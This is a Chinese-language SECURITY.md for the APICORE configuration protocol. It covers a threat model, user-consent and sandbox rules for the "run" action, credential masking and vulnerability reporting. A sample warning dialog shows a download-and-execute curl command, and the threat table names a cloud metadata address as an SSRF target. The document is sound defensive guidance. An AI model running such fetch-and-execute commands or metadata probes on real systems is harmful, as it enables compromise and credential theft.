Skip to content

Security: SRON-org/APICORE-2

Security

SECURITY.md

APICORE 协议安全规范

版本: v2.1

最后更新: 2026-08-02

编写: SRON 团队

适用范围: 所有实现 APICORE v2.x 协议的解析器、客户端、社区 Hub 及配置文件贡献者


目录

  1. 协议安全原则(威胁模型)
  2. 高危 Action 隔离准则
  3. 敏感凭证防泄露(text_secret
  4. 安全漏洞报告流程
  5. 合规检查清单

1. 协议安全原则(威胁模型)

1.1 核心认知

APICORE 的 .api.json / .api.yaml / .api.toml 配置文件不仅是声明式的 API 参数描述,更是一份可执行的"交互图纸"。它定义了:

  • 网络请求的目标地址与方法
  • 用户凭证(如 API Key)的注入位置
  • 服务端响应的解析与提取路径
  • 系统命令的执行逻辑"action": "run"

因此,任何实现 APICORE 协议的客户端,必须将配置文件视为不可信输入,即便该文件来自社区 Hub 或看似可信的第三方。

1.2 威胁模型矩阵

威胁类别 攻击向量 影响等级 缓解方向
恶意命令执行 配置文件中嵌入 "action": "run" 的恶意 shell 脚本 🔴 严重 沙箱隔离 + 用户授权
凭证窃取 恶意 link 地址将参数(含 API Key)发送至攻击者服务器 🔴 严重 域名白名单 + 用户确认
SSRF 内网探测 配置文件 link 指向内网地址(如 http://169.254.169.254/ 🟠 高 内网地址过滤
数据外泄 响应 extract 提取敏感数据后通过 message 模板展示或日志泄露 🟠 高 日志脱敏 + 输出过滤
UI 钓鱼 伪造 friendly_nameintro 冒充知名服务诱导用户输入凭证 🟡 中 来源标识 + 用户教育
资源耗尽 configs.retry.count 极高 + delay_ms 极低导致拒绝服务 🟡 中 客户端参数上限校验
文件覆盖 "action": "run" 的脚本写入或覆盖系统关键文件 🔴 严重 沙箱文件系统隔离

1.3 客户端实现者安全准则

所有 APICORE 客户端实现者必须遵循以下最低安全基线:

  1. 配置来源分级:区分"用户本地创建"、"社区 Hub 下载"、"远程 URL 导入"三种来源,对不同来源实施不同级别的信任策略。
  2. 最小权限原则:客户端不应以 root/Administrator 权限运行,默认在受限用户态下执行。
  3. 网络出口控制:对配置文件中的 link 地址进行 DNS 解析和 IP 校验,阻止解析到内网地址段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8)。
  4. 参数自动注入告警:当 link 中包含 {{parameters.xxx}} 且该参数 text_secrettrue 时,客户端应额外提示用户确认。
  5. 日志与遥测脱敏:在日志、错误报告、遥测数据中严禁明文记录 text_secret: true 的参数值。

2. 高危 Action 隔离准则

2.1 "action": "run" 强制安全要求

"action": "run" 是 APICORE 协议中风险等级最高的操作,因为它允许配置文件执行任意系统命令。所有实现者必须满足以下全部要求:

2.1.1 客户端强制执行

要求 级别 描述
命令预展示 🔴 必须 在执行前,客户端必须将完整的 script 内容以明文形式展示给用户,不得截断或省略
用户主动授权 🔴 必须 客户端必须弹出模态确认对话框,由用户手动点击"允许执行"按钮后方可运行,禁止自动执行或定时执行
超时限制 🟠 建议 单次 run 操作执行时间不应超过 30 秒,超时后强制终止进程树
输出限制 🟠 建议 捕获的 stdout/stderr 不应超过 1 MB,防止内存溢出
默认禁用 🟡 建议 客户端应在全局设置中提供"禁用 run 操作"的开关,并默认开启

确认对话框示例文案:

⚠️ 高危操作警告

该配置文件正在尝试执行系统命令:

──────────────────────────────
curl -LO https://example.com/file.bin && ./file.bin
──────────────────────────────

配置文件来源:社区 Hub - "SuperAI 绘图 v1.2.0"
配置文件作者:unknown

执行此命令可能对您的系统造成不可逆的损害。
请确认您信任该配置文件的来源。

[ 拒绝执行 ]  [ 允许执行(风险自负) ]

2.1.2 社区 Hub 发布准则

要求 级别 描述
高风险标记 🔴 必须 包含 "action": "run" 的配置文件在 Hub 列表页必须显示醒目的 ⚠️ HIGH RISK 标签
人工审核 🟠 建议 此类配置文件在首次发布及每次更新时,应经过人工审核后方可进入公共索引
脚本可审查 🟠 建议 Hub 页面应完整展示 script 字段内容,方便社区审查
举报机制 🟠 建议 提供一键举报按钮,恶意配置一经核实立即下架

2.1.3 沙箱执行建议(可选增强)

对于需要更高安全级别的客户端实现,建议引入以下沙箱技术之一:

  • 容器隔离:在 Docker/Podman 容器中执行 run 脚本,限制网络、文件系统和进程权限
  • WebAssembly 沙箱:对于简单脚本,使用 Wasm 运行时(如 Wasmtime)进行隔离执行
  • 系统调用过滤:在 Linux 上使用 seccomp,在 macOS 上使用 App Sandbox,在 Windows 上使用 Restricted Token

2.2 "action": "browser" 安全要求

要求 级别 描述
URL 预展示 🟠 建议 打开浏览器前,向用户展示将要访问的完整 URL
协议限制 🔴 必须 仅允许 https://http:// 协议,拒绝 file://javascript: 等危险协议

3. 敏感凭证防泄露(text_secret

3.1 字段定义

当参数配置中 "text_secret": true 时,该参数的值被视为敏感凭证(如 API Key、Token、密码等),客户端必须实施全程保护。

3.2 强制保护要求

场景 要求 级别
UI 输入框 以密码掩码(••••••)形式显示,默认不可见原文 🔴 必须
UI 详情/回显 任何时候展示参数值时,均以掩码形式呈现 🔴 必须
日志输出 严禁在日志文件中记录原文。如需调试,替换为 [REDACTED]*** 🔴 必须
错误报告 发送至远程服务器的错误报告中严禁包含原文 🔴 必须
导出配置 导出为 .api.json 文件时,敏感字段的值应替换为占位符 "__YOUR_API_KEY__" 或由用户手动确认是否保留 🟠 建议
屏幕截图 客户端在截屏或录屏时,应自动模糊处理敏感字段区域 🟡 建议
剪贴板 从配置中复制参数值时,text_secret: true 的字段不应被复制,或需二次确认 🟡 建议

3.3 解析器实现示例(Python 伪代码)

def render_parameter(param: dict) -> str:
    """渲染参数值到 UI"""
    value = param.get("value", "")
    if param.get("text_secret", False):
        return "•" * min(len(str(value)), 16)  # 固定长度掩码
    return str(value)

def sanitize_for_logging(params: list) -> list:
    """日志脱敏"""
    sanitized = []
    for p in params:
        if p.get("text_secret", False):
            sanitized.append({**p, "value": "[REDACTED]"})
        else:
            sanitized.append(p)
    return sanitized

3.4 传输层保护

  • text_secret: true 的参数通过 {{parameters.xxx}} 注入到 Authorization Header 时,客户端应确保目标 link 使用 HTTPS 协议
  • link 为 HTTP 协议(非 TLS),客户端必须弹出警告提示用户凭证将以明文传输

4. 安全漏洞报告流程

4.1 报告渠道

如果你发现了 APICORE 协议设计缺陷、解析器实现漏洞或社区 Hub 安全风险,请通过以下方式私密报告:

渠道 地址
安全邮箱 admin@sr-studio.cn
GitHub Security Advisory https://github.com/SRON-org/APICORE-2/security/advisories

注意:请勿在公开 Issue 中披露安全漏洞细节。所有安全报告将通过私密渠道处理。

4.2 漏洞评级标准

等级 判定标准
🔴 严重 (Critical) 无需用户交互即可远程执行任意代码(如恶意配置自动触发 run 且无需确认)
🟠 高 (High) 可绕过安全机制获取敏感信息或执行受限操作(如绕过 text_secret 脱敏)
🟡 中 (Medium) 需用户交互且在特定条件下方可利用(如 SSRF 需用户导入恶意配置)
🟢 低 (Low) 影响有限的安全加固建议或边缘场景

5. 合规检查清单

在发布 APICORE 客户端实现或社区 Hub 服务前,请逐项确认:

客户端实现

  • "action": "run" 执行前强制弹窗展示完整命令并获取用户主动授权
  • "action": "browser" 拒绝 file://javascript: 等危险协议
  • text_secret: true 字段在 UI、日志、错误报告中全程遮蔽
  • 配置导出时,text_secret: true 字段的值为占位符或需用户确认
  • link 地址的 DNS 解析结果拒绝内网 IP 地址段
  • 提供全局"禁用 run 操作"开关,且默认开启
  • link 为 HTTP 且包含敏感参数注入时弹出警告

社区 Hub

  • 包含 "action": "run" 的配置标记为 ⚠️ HIGH RISK
  • 高风险配置的 script 字段在页面中完整展示
  • 提供一键举报功能,恶意配置被举报后立即进入人工审核
  • 配置文件列表中展示来源标识和作者信息

本安全规范随 APICORE 协议主规范同步更新。如有疑问或建议,请通过 admin@sr-studio.cn 联系安全团队。

There aren't any published security advisories